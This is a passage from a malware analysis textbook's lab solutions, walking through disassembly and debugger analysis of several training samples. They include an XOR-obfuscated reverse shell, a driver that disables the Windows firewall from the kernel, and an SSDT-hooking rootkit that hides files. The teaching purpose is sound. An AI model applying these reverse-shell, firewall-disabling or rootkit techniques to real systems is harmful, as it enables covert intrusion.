that is getting XOR’ed later in the function. When we click Follow in Dump 
on EDX, we see that this is a pointer to the first argument to this function call 
(encoded string). ECX will contain 0x46, which is the first byte in the encoded 
string. We set a breakpoint at  to see what is being XOR’ed on the first iter-
ation through the loop. We see that EDX will contain 0x31 (first byte of key 
string), and we again see that ECX will contain 0x46.

Let’s execute the loop a few more times and try to make sense of the 
string being decoded. After clicking play a few more times, we can see 
the string www.prac. This could be the start of a domain that the malware is 
trying to communicate with. Let’s continue until var_108 ([EBP-108], our 
counter variable) equals 0x20. Once the jge short 0x40111D at  is taken, the 
final string placed into EAX is www.practicalmalwareanalysis.com (which hap-
pens to be of length 0x20), and the function will then return to the main func-
tion. This function decoded the string www.practicalmalwareanalysis.com by 
using a multibyte XOR loop of the string 1qaz2wsx3edc.

Back in the main function, we see EAX being passed to a gethostbyname 
call. This value will return an IP address, which will populate the sockaddr_in 
structure.

Next, we see a call to ntohs with an argument of 0x270f, or 9999 in decimal. 
This argument is moved into a sockaddr_in structure along with 0x2, which 
represents AF_INET (the code for Internet sockets) in the sockaddr_in structure. 
The next call will connect the malware to www.practicalmalwareanalysis.com on 
TCP port 9999. If the connection succeeds, the malware will continue exe-
cuting until 0x40137A. If it fails, the malware will sleep for 30 seconds, go 
back to the beginning of the main function, and repeat the process again. We 
can use Netcat and ApateDNS to fool the malware into connecting back to 
an IP we control.

If we step-into the function call made at 0x4013a9 (step-into 0x401000), 
we see two function calls to 0x4013E0. Again, this is another example where 
OllyDbg does not identify a system call of memset, whereas IDA Pro does iden-
tify the function. Next, we see a call to CreateProcessA at 0x40106E, as shown 
in Listing 9-8L. Before the call, some structure is being populated. We’ll turn 
to IDA Pro to shed some light on what’s going on here.
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Reverse Shell Analysis

This appears to be a reverse shell, created using a method that’s popular 
among malware authors. In this method, the STARTUPINFO structure that is 
passed to CreateProcessA is manipulated. CreateProcessA is called, and it runs 
cmd.exe with its window suppressed, so that it isn’t visible to the user under 
attack. Before the call to CreateProcessA, a socket is created and a connection 
is established to a remote server. That socket is tied to the standard streams 
(stdin, stdout, and stderr) for cmd.exe.

Listing 9-8L shows this method of reverse shell creation in action.

0040103B     mov     [ebp+StartupInfo.wShowWindow], SW_HIDE 
00401041     mov     edx, [ebp+Socket]
00401044     mov     [ebp+StartupInfo.hStdInput], edx 
00401047     mov     eax, [ebp+StartupInfo.hStdInput]
0040104A     mov     [ebp+StartupInfo.hStdError], eax 
0040104D     mov     ecx, [ebp+StartupInfo.hStdError]
00401050     mov     [ebp+StartupInfo.hStdOutput], ecx 
00401053     lea     edx, [ebp+ProcessInformation]
00401056     push    edx         ; lpProcessInformation
00401057     lea     eax, [ebp+StartupInfo]
0040105A     push    eax         ; lpStartupInfo
0040105B     push    0           ; lpCurrentDirectory
0040105D     push    0           ; lpEnvironment
0040105F     push    0           ; dwCreationFlags
00401061     push    1           ; bInheritHandles
00401063     push    0           ; lpThreadAttributes
00401065     push    0           ; lpProcessAttributes
00401067     push    offset CommandLine ; "cmd" 
0040106C     push    0           ; lpApplicationName
0040106E     call    ds:CreateProcessA 

Listing 9-8L: Creating a reverse shell using CreateProcessA and the STARTUPINFO structure

The STARTUPINFO structure is manipulated, and then parameters are passed 
to CreateProcessA. We see that CreateProcessA is going to run cmd.exe because it is 
passed as a parameter at . The wShowWindow member of the structure is set to 
SW_HIDE at , which will hide cmd.exe’s window when it is launched. At , , 
and , we see that the standard streams in the STARTUPINFO structure are set to 
the socket. This directly ties the standard streams to the socket for cmd.exe, so 
when it is launched, all of the data that comes over the socket will be sent to 
cmd.exe, and all output generated by cmd.exe will be sent over the socket.

In summary, we determined that this malware is a simple reverse shell 
with obfuscated strings that must be renamed ocl.exe before it can be run suc-
cessfully. The strings are obfuscated using the stack and a multibyte XOR. In 
Chapter 13, we will cover data-encoding techniques like this in more detail.
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Lab 9-3 Solutions

Short Answers
1. The import table contains kernel32.dll, NetAPI32.dll, DLL1.dll, and 

DLL2.dll. The malware dynamically loads user32.dll and DLL3.dll.

2. All three DLLs request the same base address: 0x10000000.

3. DLL1.dll is loaded at 0x10000000, DLL2.dll is loaded at 0x320000, and 
DLL3.dll is loaded at 0x380000 (this may be slightly different on your 
machine).

4. DLL1Print is called, and it prints “DLL 1 mystery data,” followed by the 
contents of a global variable.

5. DLL2ReturnJ returns a filename of temp.txt which is passed to the call to 
WriteFile.

6. Lab09-03.exe gets the buffer for the call to NetScheduleJobAdd from 
DLL3GetStructure, which it dynamically resolves.

7. Mystery data 1 is the current process identifier, mystery data 2 is the 
handle to the open temp.txt file, and mystery data 3 is the location in 
memory of the string ping www.malwareanalysisbook.com.

8. Select Manual Load when loading the DLL with IDA Pro, and then type 
the new image base address when prompted. In this case, the address is 
0x320000.

Detailed Analysis
We start by examining the import table of Lab09-03.exe and it contains 
kernel32.dll, NetAPI32.dll, DLL1.dll, and DLL2.dll. Next, we load Lab09-03.exe 
into IDA Pro. We look for calls to LoadLibrary and check which strings are 
pushed on the stack before the call. We see two cross-references to LoadLibrary 
that push user32.dll and DLL3.dll respectively, so that these DLLs may be 
loaded dynamically during runtime.

We can check the base address requested by the DLLs by using PEview, 
as shown in Figure 9-10L. After loading DLL1.dll into PEview, click the 
IMAGE_OPTIONAL_HEADER and look at the value of Image Base, as shown at  in 
the figure. We repeat this process with DLL2.dll and DLL3.dll, and see that 
they all request a base address of 0x10000000.

Figure 9-10L: Finding the requested base address with PEview

�
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Using the Memory Map to Locate DLLs

Next, we want to figure out at which memory address the three DLLs are 
loaded during runtime. DLL1.dll and DLL2.dll are loaded immediately because 
they’re in the import table. Since DLL3.dll is loaded dynamically, we will need 
to run the LoadLibrary function located at 0x401041. We can do this by loading 
Lab09-03.exe into OllyDbg, setting a breakpoint at 0x401041, and clicking 
play. Once the breakpoint hits, we can step over the call to LoadLibrary. At this 
point, all three DLLs are loaded into Lab09-03.exe.

We bring up the memory map by selecting ViewMemory. The 
memory map is shown in Figure 9-11L (it may appear slightly different on 
your machine). At , we see that DLL1.dll gets its preferred base address of 
0x10000000. At , we see that DLL2.dll didn’t get its preferred base address 
because DLL1.dll was already loaded at that location, so DLL2.dll is loaded at 
0x320000. Finally, at , we see that DLL3.dll is loaded at 0x380000.

Figure 9-11L: Using the OllyDbg memory map 
to examine DLL load locations

Listing 9-9L shows the calls to the exports of DLL1.dll and DLL2.dll.

00401006         call    ds:DLL1Print
0040100C         call    ds:DLL2Print
00401012         call    ds:DLL2ReturnJ
00401018         mov     [ebp+hObject], eax 
0040101B         push    0                       ; lpOverlapped
0040101D         lea     eax, [ebp+NumberOfBytesWritten]
00401020         push    eax                     ; lpNumberOfBytesWritten
00401021         push    17h                     ; nNumberOfBytesToWrite
00401023         push    offset aMalwareanalysi  ; "malwareanalysisbook.com"
00401028         mov     ecx, [ebp+hObject]
0040102B         push    ecx                 ; hFile
0040102C         call    ds:WriteFile

Listing 9-9L: Calls to the exports of DLL1.dll and DLL2.dll from Lab09-03.exe

At the start of Listing 9-9L, we see a call to DLL1Print, which is an 
export of DLL1.dll. We disassemble DLL1.dll with IDA Pro and see that the 
function prints “DLL 1 mystery data,” followed by the contents of a global 
variable, dword_10008030. If we examine the cross-references to dword_10008030, 
we see that it is accessed in DllMain when the return value from the call 

�

�

�
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GetCurrentProcessId is moved into it. Therefore, we can conclude that 
DLL1Print prints the current process ID, which it determines when the 
DLL is first loaded into the process.

In Listing 9-9L, we see calls to two exports from DLL2.dll: DLL2Print and 
DLL2ReturnJ. We can disassemble DLL2.dll with IDA Pro and examine DLL2Print 
to see that it prints “DLL 2 mystery data,” followed by the contents of a global 
variable, dword_1000B078. If we examine the cross-references to dword_1000B078, 
we see that it is accessed in DllMain when the handle to CreateFileA is moved 
into it. The CreateFileA function opens a file handle to temp.txt, which the func-
tion creates if it doesn’t already exist. DLL2Print apparently prints the value of 
the handle for temp.txt. We can look at the DLL2ReturnJ export and find that it 
returns the same handle that DLL2Print prints. Further in Listing 9-9L, at , 
the handle is moved into hObject, which is passed to WriteFile at  defining 
where malwareanalysisbook.com is written.

After the WriteFile in Lab09-03.exe, DLL3.dll is loaded with a call to 
LoadLibrary, followed by the dynamic resolution of DLL3Print and DLL3GetStructure 
using GetProcAddress. First, it calls DLL3Print, which prints “DLL 3 mystery 
data,” followed by the contents of a global variable found at 0x1000B0C0. 
When we check the cross-references for the global variable, we see that it is 
initialized in DllMain to the string ping www.malwareanalysisbook.com, so the 
memory location of the string will again be printed. DLL3GetStructure appears 
to return a pointer to the global dword_1000B0A0, but it is unclear what data is 
in that location. DllMain appears to initialize some sort of structure at this 
location using data and the string. Since DLL3GetStructure sets a pointer to this 
structure, we will need to see how Lab09-03.exe uses the data to figure out the 
contents of the structure. Listing 9-10L shows the call to DLL3GetStructure at .

00401071         lea     edx, [ebp+Buffer]
00401074         push    edx
00401075         call    [ebp+var_10]        ; DLL3GetStructure
00401078         add     esp, 4
0040107B         lea     eax, [ebp+JobId]
0040107E         push    eax                     ; JobId
0040107F         mov     ecx, [ebp+Buffer]
00401082         push    ecx                     ; Buffer
00401083         push    0                       ; Servername
00401085         call    NetScheduleJobAdd

Listing 9-10L: Calls to DLL3GetStructure followed by NetScheduleJobAdd in Lab09-03.exe

It appears that the result of that call is the structure pointed to by Buffer, 
which is subsequently passed to NetScheduleJobAdd. Viewing the MSDN page 
for NetScheduleJobAdd tells us that Buffer is a pointer to an AT_INFO structure.

Applying a Structure in IDA Pro

The AT_INFO structure can be applied to the data in DLL3.dll. First, load 
DLL3.dll into IDA Pro, press the INSERT key within the Structures window, and 
add the standard structure AT_INFO. Next, go to dword_1000B0A0 in memory and 
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select EditStruct Var and click AT_INFO. This will cause the data to be more 
readable, as shown in Listing 9-11L. We can see that the scheduled job will be 
set to ping malwareanalysisbook.com every day of the week at 1:00 AM.

10001022         mov     stru_1000B0A0.Command, offset WideCharStr ; "ping www..."
1000102C         mov     stru_1000B0A0.JobTime, 36EE80h
10001036         mov     stru_1000B0A0.DaysOfMonth, 0
10001040         mov     stru_1000B0A0.DaysOfWeek, 7Fh
10001047         mov     stru_1000B0A0.Flags, 11h

Listing 9-11L: AT_INFO Structure

Specifying a New Image Base with IDA Pro

We can load DLL2.dll into IDA Pro in a different location by checking the 
Manual Load box when loading the DLL. In the field that says Please specify 
the new image base, we type 320000. IDA Pro will do the rest to adjust all of 
the offsets, just as OllyDbg did when loading the DLL.

Malware Summary

This lab demonstrated how to determine where three DLLs are loaded into 
Lab09-03.exe using OllyDbg. We loaded these DLLs into IDA Pro to perform 
full analysis, and then figured out the mystery data printed by the malware: 
mystery data 1 is the current process identifier, mystery data 2 is the handle 
to the open temp.txt, and mystery data 3 is the location in memory of the 
string ping www.malwareanalysisbook.com. Finally, we applied the Windows 
AT_INFO structure within IDA Pro to aid our analysis of DLL3.dll.

Lab 10-1 Solutions

Short Answers
1. If you run procmon to monitor this program, you will see that the only 

call to write to the registry is to RegSetValue for the value HKLM\SOFTWARE\
Microsoft\Cryptography\RNG\Seed. Some indirect changes are made by the 
calls to CreateServiceA, but this program also makes direct changes to the 
registry from the kernel that go undetected by procmon.

2. To set a breakpoint to see what happens in the kernel, you must open 
the executable within an instance of WinDbg running in the virtual 
machine, while also debugging the kernel with another instance of 
WinDbg in the host machine. When Lab10-01.exe is stopped in the vir-
tual machine, you first use the !drvobj command to get a handle to the 
driver object, which contains a pointer to the unload function. Next, 
you can set a breakpoint on the unload function within the driver. The 
breakpoint will be triggered when you restart Lab10-01.exe.

3. This program creates a service to load a driver. The driver code then 
creates (or modifies, if they exist) the registry keys \Registry\Machine\
SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile and 
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\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile. 
Setting these registry keys disables the Windows XP firewall.

Detailed Analysis
We begin with some basic static analysis. Examining the executable, we see 
very few imports other than the standard ones included with every execut-
able. The imports of interest are OpenSCManagerA, OpenServiceA, ControlService, 
StartServiceA, and CreateServiceA. These indicate the program creates a ser-
vice, and probably starts and manipulates that service. There appears to be 
little additional interaction with the system.

The strings output reveals a few interesting strings. The first is C:\Windows\
System32\Lab10-01.sys, which suggests that Lab10-01.sys probably contains the 
code for the service.

Examining the driver file, we see that it imports only three functions. 
The first function is KeTickCount, which is included in almost every driver 
and can be ignored. The two remaining functions, RtlCreateRegistryKey and 
RtlWriteRegistryValue, tell us that the driver probably accesses the registry.

The driver file also contains a number of interesting strings, as follows:

EnableFirewall
\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile
\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile
\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall
\Registry\Machine\SOFTWARE\Policies\Microsoft

These strings look a lot like registry keys, except that they start with 
\Registry\Machine, instead of one of the usual registry root keys, such as HKLM. 
When accessing the registry from the kernel, the prefix \Registry\Machine is 
equivalent to accessing HKEY_LOCAL_MACHINE from a user-space program. An 
Internet search reveals that setting the EnableFirewall value to 0 disables the 
built-in Windows XP firewall.

Since these strings suggest that the malware writes to the registry, we 
open procmon to test our hypothesis. This shows several calls to functions 
that read the registry, but only one call to write to the registry: RegSetValue on 
the value HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed. This registry value is 
changed all the time and is meaningless for malware analysis, but since ker-
nel code is involved, we need to make sure that the driver isn’t modifying the 
registry covertly.

Next, we open the executable, navigate to the main function shown in 
Listing 10-1L, and see that it makes only four function calls.

00401004  push    0F003Fh         ; dwDesiredAccess
00401009  push    0               ; lpDatabaseName
0040100B  push    0               ; lpMachineName
0040100D call    ds:OpenSCManagerA ; Establish a connection to the service
0040100D                          ; control manager on the specified computer
0040100D                          ; and opens the specified database
00401013  mov     edi, eax
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00401015  test    edi, edi
00401017  jnz     short loc_401020
00401019  pop     edi
0040101A  add     esp, 1Ch
0040101D  retn    10h
00401020 loc_401020:
00401020  push    esi
00401021  push    0               ; lpPassword
00401023  push    0               ; lpServiceStartName
00401025  push    0               ; lpDependencies
00401027  push    0               ; lpdwTagId
00401029  push    0               ; lpLoadOrderGroup
0040102B push    offset BinaryPathName ; "C:\\Windows\\System32\\Lab10-01.sys"
00401030  push    1               ; dwErrorControl
00401032 push    3               ; dwStartType
00401034  push    1               ; dwServiceType
00401036  push    0F01FFh         ; dwDesiredAccess
0040103B  push    offset ServiceName ; "Lab10-01"
00401040  push    offset ServiceName ; "Lab10-01"
00401045  push    edi             ; hSCManager
00401046 call    ds:CreateServiceA

Listing 10-1L: main method of Lab10-01.exe

First, it calls OpenSCManagerA at  to get a handle to the service manager, and 
then it calls CreateServiceA at  to create a service called Lab10-01. The call to 
CreateServiceA tells us that the service will use code in C:\Windows\System32\
Lab10-01.sys at  and that the service type is 3 at , or SERVICE_KERNEL_DRIVER, 
which means that this file will be loaded into the kernel.

If the call to CreateServiceA fails, the code calls OpenServiceA with the same 
service name, as shown in Listing 10-2L at . This opens a handle to the 
Lab10-01 service if the CreateServiceA call failed because the service already 
existed.

00401052  push    0F01FFh         ; dwDesiredAccess
00401057  push    offset ServiceName ; "Lab10-01"
0040105C  push    edi             ; hSCManager
0040105D call    ds:OpenServiceA

Listing 10-2L: Call to OpenServiceA to get a handle to the service for Lab10-01

Next, the program calls StartServiceA to start the service, as shown in List-
ing 10-3L at . Finally, it calls ControlService at . The second parameter to 
ControlService is what type of control message is being sent. In this case, the 
value is 0x01 at , which we look up in the documentation and find that it 
means SERVICE_CONTROL_STOP. This will unload the driver and call the driver’s 
unload function.

00401069  push    0               ; lpServiceArgVectors
0040106B  push    0               ; dwNumServiceArgs
0040106D  push    esi             ; hService
0040106E call    ds:StartServiceA
550 Appendix C



10
00401074  test    esi, esi
00401076  jz      short loc_401086
00401078  lea     eax, [esp+24h+ServiceStatus]
0040107C  push    eax             ; lpServiceStatus
0040107D push    1               ; dwControl
0040107F  push    esi             ; hService
00401080 call    ds:ControlService ; Send a control code to a Win32 service

Listing 10-3L: Call to ControlService from Lab10-01.exe

Viewing Lab10-01.sys in IDA Pro

Before we try to analyze the driver with WinDbg, we can open the driver in 
IDA Pro to examine the DriverEntry function. When we first open the driver 
and navigate to the entry point, we see the code in Listing 10-4L.

00010959  mov     edi, edi
0001095B  push    ebp
0001095C  mov     ebp, esp
0001095E  call    sub_10920
00010963  pop     ebp
00010964  jmp    sub_10906

Listing 10-4L: Code at the entry point of Lab10-01.sys

This function is the entry point of the driver, but it’s not the DriverEntry 
function. The compiler inserts wrapper code around the DriverEntry. The 
real DriverEntry function is located at sub_10906 .

As shown in Listing 10-5L, the main body of the DriverEntry function 
appears to move an offset value into a memory location, but otherwise it 
doesn’t make any function calls or interact with the system.

00010906  mov     edi, edi
00010908  push    ebp
00010909  mov     ebp, esp
0001090B  mov     eax, [ebp+arg_0]
0001090E  mov     dword ptr [eax+34h], offset loc_10486
00010915  xor     eax, eax
00010917  pop     ebp
00010918  retn    8

Listing 10-5L: The DriverEntry routine for Lab10-01.sys

Analyzing Lab10-01.sys in WinDbg

Now, we can use WinDbg to examine Lab10-01.sys to see what happens when 
ControlService is called to unload Lab10-01.sys. The code in the user-space 
executable loads Lab10-10.sys and then immediately unloads it. If we use the 
kernel debugger before running the malicious executable, the driver will not 
yet be in memory, so we won’t be able to examine it. But if we wait until after 
the malicious executable is finished executing, the driver will already have 
been unloaded from memory.
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In order to analyze Lab10-01.sys with WinDbg while it is loaded in mem-
ory, we’ll load the executable into WinDbg within the virtual machine. We 
set a breakpoint between the time that the driver is loaded and unloaded, at 
the ControlService call, with the following command:

0:000> bp 00401080

Then we start the program and wait until the breakpoint is hit. When the 
breakpoint is hit, we are presented with the following information in WinDbg:

Breakpoint 0 hit
eax=0012ff1c ebx=7ffdc000 ecx=77defb6d edx=00000000 esi=00144048 edi=00144f58
eip=00401080 esp=0012ff08 ebp=0012ffc0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
image00400000+0x1080:

Once the program is stopped at the breakpoint, we move out of the vir-
tual machine in order to connect the kernel debugger and get information 
about Lab10-01.sys. We open another instance of WinDbg and select File
Kernel Debug with pipe set to \\.\pipe\com_1 and a baud rate of 115200 to con-
nect the instance of WinDbg running in the host machine to the kernel of 
the guest machine. We know that our service is called Lab10-01, so we can get 
a driver object by using the !drvobj command, as shown in Listing 10-6L.

kd> !drvobj lab10-01
Driver object  (8263b418) is for:
Loading symbols for f7c47000     Lab10-01.sys ->   Lab10-01.sys
*** ERROR: Module load completed but symbols could not be loaded for Lab10-01.sys
 \Driver\Lab10-01
Driver Extension List: (id , addr)

Device Object list: 

Listing 10-6L: Locating the device object for Lab10-01

The output of the !drvobj command gives us the address of the driver 
object at . Because there are no devices listed in the device object list at , 
we know that this driver does not have any devices that are accessible by user-
space applications.

NOTE To resolve any difficulty locating the service name, you can get a list of driver objects 
currently in the kernel with the !object \Driver command.

Once we have the address of the driver object, we can view it using the dt 
command, as shown in Listing 10-7L.

kd> dt _DRIVER_OBJECT 8263b418
nt!_DRIVER_OBJECT
   +0x000 Type             : 4
   +0x002 Size             : 168
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   +0x004 DeviceObject     : (null) 
   +0x008 Flags            : 0x12
   +0x00c DriverStart      : 0xf7c47000 
   +0x010 DriverSize       : 0xe80
   +0x014 DriverSection    : 0x826b2c88 
   +0x018 DriverExtension  : 0x8263b4c0 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING "\Driver\Lab10-01"
   +0x024 HardwareDatabase : 0x80670ae0 _UNICODE_STRING "\REGISTRY\MACHINE\

HARDWARE\DESCRIPTION\SYSTEM"
   +0x028 FastIoDispatch   : (null) 
   +0x02c DriverInit       : 0xf7c47959     long  +0
   +0x030 DriverStartIo    : (null) 
   +0x034 DriverUnload     : 0xf7c47486     void  +0
   +0x038 MajorFunction    : [28] 0x804f354a     long  nt!IopInvalidDeviceRequest+0

Listing 10-7L: Viewing the driver object for Lab10-01.sys in WinDbg

We’re trying to identify the function called when the driver is unloaded—
information at offset 0x034, DriverUnload, as shown at . Then we set a break-
point using the following command:

kd> bp 0xf7c47486

Having set the breakpoint, we resume running our kernel. Then we return 
to the version of WinDbg running on the executable on our virtual machine 
and resume it as well. Immediately, the entire guest OS freezes because the 
kernel debugger has hit our kernel breakpoint. At this point, we can go to 
the kernel debugger to step through the code. We see that the program 
calls the RtlCreateRegistryKey function three times to create several registry 
keys, and then calls the RtlWriteRegistryValue twice to set the EnableFirewall 
value to 0 in two places. This disables the Windows XP firewall from the ker-
nel in a way that is difficult for security programs to detect.

If the unload function at 0xf7c47486 were long or complex, it would 
have been difficult to analyze in WinDbg. In many cases, it’s easier to analyze 
a function in IDA Pro once you have identified where the function is located, 
because IDA Pro does a better job of analyzing the functions. However, the 
function location in WinDbg is different than the function location in IDA 
Pro, so we must perform some manual calculations in order to view the 
function in IDA Pro. We must calculate the offset of the function from the 
beginning of the file as it is loaded in WinDbg using the lm command, as 
follows:

kd> lm
start end        module name
...
f7c47000 f7c47e80   Lab10_01   (no symbols)     
...

As you can see, the file is loaded at 0xf7c47000 at , and from earlier, we 
know the unload function is located at 0xf7c47486. We subtract 0xf7c47000 
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from 0xf7c47486 to get the offset (0x486), which we then use to navigate to 
the unload function in IDA Pro. For example, if the base load address in 
IDA Pro is 0x00100000, then we navigate to address 0x00100486 to find the 
unload function in IDA Pro. We can then use static analysis and IDA Pro to 
confirm what we discovered in WinDbg.

Alternatively, we can change the base address in IDA Pro by selecting 
EditSegmentsRebase Program and changing the base address value 
from 0x00100000 to 0xf7c47000.

NOTE If you tried to use a deferred breakpoint using the bu $iment(Lab10-01), you may have 
run into trouble because WinDbg changes hyphens to underscores when it encounters 
them in filenames. The correct command to break on the entry point of the driver in this 
lab would be bu $iment(Lab10_01). This behavior is not documented anywhere and 
may be inconsistent across versions of WinDbg.

Lab 10-2 Solutions

Short Answers
1. The program creates the file C:\Windows\System32\Mlwx486.sys. You can 

use procmon or another dynamic monitoring tool to see the file being 
created, but you cannot see the file on disk because it is hidden.

2. The program has a kernel component. It is stored in the file’s resource 
section, and then written to disk and loaded into the kernel as a service.

3. The program is a rootkit designed to hide files. It uses SSDT hooking 
to overwrite the entry to NtQueryDirectoryFile, which it uses to prevent 
the display of any files beginning with Mlwx (case-sensitive) in directory 
listings.

Detailed Analysis
Looking at the imports section of this executable, we see imports for 
CloseServiceHandle, CreateServiceA, OpenSCManagerA, and StartServiceA, which 
tell us that this program will create and start a service. Because the program 
also calls CreateFile and WriteFile, we know that it will write to a file at some 
point. We also see calls to LoadResource and SizeOfResource, which tell us that 
this program will do something with the resource section of Lab10-02.exe.

Recognizing that the program accesses the resource section, we use 
Resource Hacker to examine the resource section. There, we see that the 
file contains another PE header within the resource section, as shown in 
Figure 10-1L. This is probably another file of malicious code that Lab10-02.exe 
will use.

Next, we run the program and find that it creates a file and a service. 
Using procmon, we see that the program creates a file in C:\Windows\System32, 
and that it creates a service that uses that file as the executable. That file con-
tains the kernel code that will be loaded by the OS.

We should next find the file that the program creates in order to analyze 
it and determine what the kernel code is doing. However, when we look in 
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C:\Windows\System32, we find that there’s nothing there. We can see in proc-
mon that the file is created, and there are no calls that would delete the file. 
Based on the facts that the file doesn’t appear but we don’t see how it was 
deleted and that a driver is involved, we should be suspicious that we’re deal-
ing with a rootkit.

Figure 10-1L: An executable file stored in the resource section of Lab10-02.exe

Finding the Rootkit

In order to continue investigating, we want to check to see if our kernel 
driver is loaded. To do that, we use the sc command to check on the status 
of the service that is running our kernel driver, as shown in Listing 10-8L.

C:\>sc query "486 WS Driver"

SERVICE_NAME: 486 WS Driver
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Listing 10-8L: Using the sc command to get information about a service

We query for the service name 486 WS Driver at , which was specified 
in the call to CreateServiceA. We see at  that the service is still running, 
which tells us that the kernel code is in memory. Something fishy is going on 
because the driver is still running, but it’s not on disk. Now, to determine 
what’s going on, we connect the kernel debugger to our virtual machine, and 
we check to see if the driver was actually loaded using the lm command. We 
see an entry that matches the filename that was created by Lab10-02.exe :

f7c4d000 f7c4dd80   Mlwx486    (deferred)        
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We are now certain that the driver is loaded into memory with the file-
name Mlwx486.sys, but the file does not appear on disk, suggesting that this 
might be a rootkit.

Next, we check the SSDT for any modified entries, as shown in 
Listing 10-9L.

kd> dd dwo(KeServiceDescriptorTable) L100
...
80501dbc  8060cb50 8060cb50 8053c02e 80606e68
80501dcc  80607ac8 f7c4d486 805b3de0 8056f3ca
80501ddc  806053a4 8056c222 8060c2dc 8056fc46
...

Listing 10-9L: An excerpt from the SSDT with one entry that has been modified by a rootkit

We see that the entry at  is in a memory location that is clearly outside 
the bounds of the ntoskrnl module but within the loaded Mlwx486.sys driver. 
To determine which normal function is being replaced, we revert our virtual 
machine to before the rootkit was installed to see which function was stored 
at the offset into the SSDT that was overwritten. In this case, the function is 
NtQueryDirectoryFile, which is a versatile function that retrieves information 
about files and directories used by FindFirstFile and FindNextFile to traverse 
directory structures. This function is also used by Windows Explorer to dis-
play files and directories. If the rootkit is hooking this function, it could be 
hiding files, which would explain why we can’t find Mlwx486.sys. Now that 
we’ve found a function that is hooking the SSDT, we must analyze what that 
function is doing.

Examining the Hook Function

We now look more closely at the function called instead of NtQueryDirectoryFile, 
which we’ll call PatchFunction. The malicious PatchFunction must work with the 
same interface as the original function, so we first check the documentation of 
the original function. We find that NtQueryDirectoryFile is technically undocu-
mented according to Microsoft, but a quick Internet search will provide all the 
information we need. The NtQueryDirectoryFile function is a very flexible one 
with a lot of different parameters that determine what will be returned.

Now, we want to look at the malicious function to see what is being done 
with the requests. We set a breakpoint on PatchFunction and discover that the 
first thing it does is call the original NtQueryDirectoryFile with all of the origi-
nal parameters, as shown in Listing 10-10L.

f7c4d490 ff7530          push    dword ptr [ebp+30h]
f7c4d493 ff752c          push    dword ptr [ebp+2Ch]
f7c4d496 ff7528          push    dword ptr [ebp+28h]
f7c4d499 ff7524          push    dword ptr [ebp+24h]
f7c4d49c ff7520          push    dword ptr [ebp+20h]
f7c4d49f 56              push    esi
f7c4d4a0 ff7518          push    dword ptr [ebp+18h]
f7c4d4a3 ff7514          push    dword ptr [ebp+14h]
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f7c4d4a6 ff7510          push    dword ptr [ebp+10h]
f7c4d4a9 ff750c          push    dword ptr [ebp+0Ch]
f7c4d4ac ff7508          push    dword ptr [ebp+8]
f7c4d4af e860000000      call    Mlwx486+0x514 (f7c4d514)

Listing 10-10L: Assembly listing of PatchFunction

NOTE It’s probably not completely clear from Listing 10-10L that the function being called is 
NtQueryDirectoryFile. However, if we single-step over the call function, we see that it 
goes to another section of the file that jumps to NtQueryDirectoryFile. In IDA Pro, this 
call would have been labeled NtQueryDirectoryFile, but the disassembler included in 
WinDbg is much less sophisticated. Ideally, we would have the file to view in IDA Pro 
while we are debugging, but we can’t find this file because it’s hidden.

The PatchFunction checks the eighth parameter, FileInformationClass, and 
if it is any value other than 3, it returns NtQueryDirectoryFile’s original return 
value. It also checks the return value from NtQueryDirectoryFile and the value 
of the ninth parameter, ReturnSingleEntry. PatchFunction is looking for certain 
parameters. If the parameters don’t meet the criteria, then the functionality 
is exactly the same as the original NtQueryDirectoryFile. If the parameters do 
meet the criteria, PatchFunction will change the return value, which is what 
we’re interested in. To examine what happens during a call to PatchFunction 
with the correct parameters, we set a breakpoint on PatchFunction.

If we set a breakpoint on PatchFunction, it will break every time the func-
tion is called, but we’re interested in only some of the function calls. This is 
the perfect time to use a conditional breakpoint so that the breakpoint is 
hit only when the parameters to PatchFunction match our criteria. We set a 
breakpoint on PatchFunction, but the breakpoint will be hit only if the value 
of ReturnSingleEntry is 0, as follows:

kd> bp f7c4d486 ".if dwo(esp+0x24)==0 {} .else {gc}"

NOTE If you have Windows Explorer open in a directory, you might see this breakpoint hit 
over and over again in different threads, which could be annoying while you’re trying 
to analyze the function. To make it easier to analyze, you should close all of your Win-
dows Explorer windows and use the dir command at a command line to trigger the 
breakpoint.

Once the code filters out interesting calls, we see another function 
stored at offset 0xf7c4d590. Although it isn’t automatically labeled by 
WinDbg, we can determine that it is RtlCompareMemory by looking at the 
disassembly or stepping into the function call. The code in Listing 10-11L 
shows the call to RtlCompareMemory at .

f7c4d4ca 6a08            push    8
f7c4d4cc 681ad5c4f7      push    offset Mlwx486+0x51a (f7c4d51a)
f7c4d4d1 8d465e         lea     eax,[esi+5Eh]
f7c4d4d4 50              push    eax
f7c4d4d5 32db            xor     bl,bl
f7c4d4d7 ff1590d5c4f7    call    dword ptr [Mlwx486+0x590 (f7c4d590)]
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f7c4d4dd 83f808          cmp     eax,8
f7c4d4e0 7512            jne     Mlwx486+0x4f4 (f7c4d4f4)

Listing 10-11L: Comparison of the filename to determine whether the rootkit will modify the 
returned information from NtQueryDirectoryFile

We can now see what PatchFunction is comparing. As shown in Listing 10-
11L, the first parameter to RtlCompareMemory is eax, which stores the offset at 
esi+5eh at , which is the offset to a filename. Earlier in our disassembly, we 
saw that esi was FileInformation, which contains the information filled in by 
NtQueryDirectoryFile. Examining the documentation for NtQueryDirectoryFile, 
we see that this is a FILE_BOTH_DIR_INFORMATION structure, and that an offset of 
0x5E is where the filename is stored as a wide character string. (We could 
also use WinDbg to tell us what is stored there.)

To see what is stored at location esi+5eh, we use the db command, as 
shown in Listing 10-12L. This reveals that the filename is Installer.h.

kd> db esi+5e
036a302e  49 00 6e 00 73 00 74 00-61 00 6c 00 6c 00 65 00  I.n.s.t.a.l.l.e.
